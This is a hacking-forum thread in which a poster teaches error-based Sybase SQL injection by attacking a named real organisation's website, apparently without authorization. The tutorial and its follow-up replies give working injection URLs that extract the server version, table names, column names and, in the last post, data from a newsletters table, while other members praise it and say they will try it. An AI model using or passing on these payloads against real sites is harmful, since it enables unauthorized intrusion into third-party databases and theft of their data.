[RIPPER]

Heya guys today I will make a small tutorial on error based sybase sql injection(that is its name I guess)

So here we start with a site...am assuming u understand mysql injection

http://www.okfarmbureau.org/index.php?ac...&rowid=630
Thanks you -Downfall for the site

put a ' at the end and you will see this
Sybase: Server message: Unclosed quote before the character string ' '

now to get the version:

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,@@version%29-- 


so here is the version:

Adaptive Server Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006
now lets get some tablenames

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))-- 


second table:

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where 

type='U' and name!='boardMembers'))-- 


basically keep adding and name!='table name that you get'

here I guess i reach the end of the tables

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U' and 

name!='boardMembers' and name!='events' and name!='galleries' and name!='galleries_photos' and name!='gallery' and name!='gallery_photos' and 

name!='newsletters' and name!='newsletters_new' and name!='newsreleases' and name!='offices' and name!='publication_import'and name!='publications' and 

name!='publications_new' and name!='radio' and name!='satellites' and name!='titles')) # 


time to get columns..We will get the columns of boardMembers

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from 

sysobjects where type='U' and name='gallery')))-- 


column no.1:
city

getting column 2:

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id= 

(select id from sysobjects where type='U' and name='gallery' ) and name!='city'))-- 


you get my point just add and name!='column name you get'

that is how I know it..If I am wrong at anything please correct me

Shout out to benzi(although I had some quarrels with him) and -Downfall...
Peace

---

Oh sorry..I would like this to be on sql injection attacks please

[Th3PonyWizard]

#1 How to get the database name?
#2 Why do you use convert?
#3 Why do you select the data from syscolumns?
And so on. There are lots of questions that you didn't answered, which is why I think people should not write tutorials if they don't go skin-deep level over their details. Well, thanks anyways!

[Ichi]

Pony makes a good point. Not sure if this is your first time making a tutorial, if it is, it's good for a first timer. Even if it isn't, I still commend you for making this tutorial. This is first time this forum has seen a sybase SQLi tut.

Thanks for bringing something new to this section.
Cheers

[Dynasty@HF]

wow going to try this when i get back from work. thanks good tut

[RIPPER]

thanks for the feedback guys.
this is my second tut and my first one was a total fail
you are welcome to ask more questions
I'll be happy to explain (if I can)

#1 How to get the database name?
#2 Why do you use convert?
#3 Why do you select the data from syscolumns?
And so on. There are lots of questions that you didn't answered, which is why I think people should not write tutorials if they don't go skin-deep level over their details. Well, thanks anyways!

#1
http://www.okfarmbureau.org/index.php?ac...e%28%29%29--

db_name() is the equivalent to database()

#2
union select isnt possible here

http://www.okfarmbureau.org/index.php?ac...%201,2,3,4

look at the error

Implicit conversion from datatype 'VARCHAR' to 'INT' is not allowed

usually when I get this here or in aspx injection I use convert() method...I'm not sure if there is a better way

#3

As far as i know syscolumns is the equivalent to information_schema.columns

correct me if I am wrong in sth here...Have a good day..and ask all your questions

---

BTW would anyone tell me if there is a moderator to contact to put this thread in sql injection attacks or should I copy it and paste it there

[faditom]

thanks man

good job

i hope it useful for me

[Hunter Kh]

good job bro i like it and good luck

[RIPPER]

good job bro i like it and good luck

thanks a lot mate.hope you learned something

[Error667]

Happy to see there're some new HQ tuts here.
Regards,

[Toph Beifong]

haven't come across this method before, gonna look into it more. Thanks.

[RIPPER]

Happy to see there're some new HQ tuts here.
Regards,

Thanks a lot mate...Glad you like this tut

[Ashutosh.panda]

nice titorial and
plz explain how to extract information after getting table names and column names

[sl4sh3rz]

good tutorial brother,, all bookmark your thread :)) ,,

[Ashutosh.panda]

please explain how to extract information after getting table name and column name

[RIPPER]

please explain how to extract information after getting table name and column name

This is an example for you

PHP Code


<?php 
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,%28select+min%28thefile%29%20from%20newsletters%29%29--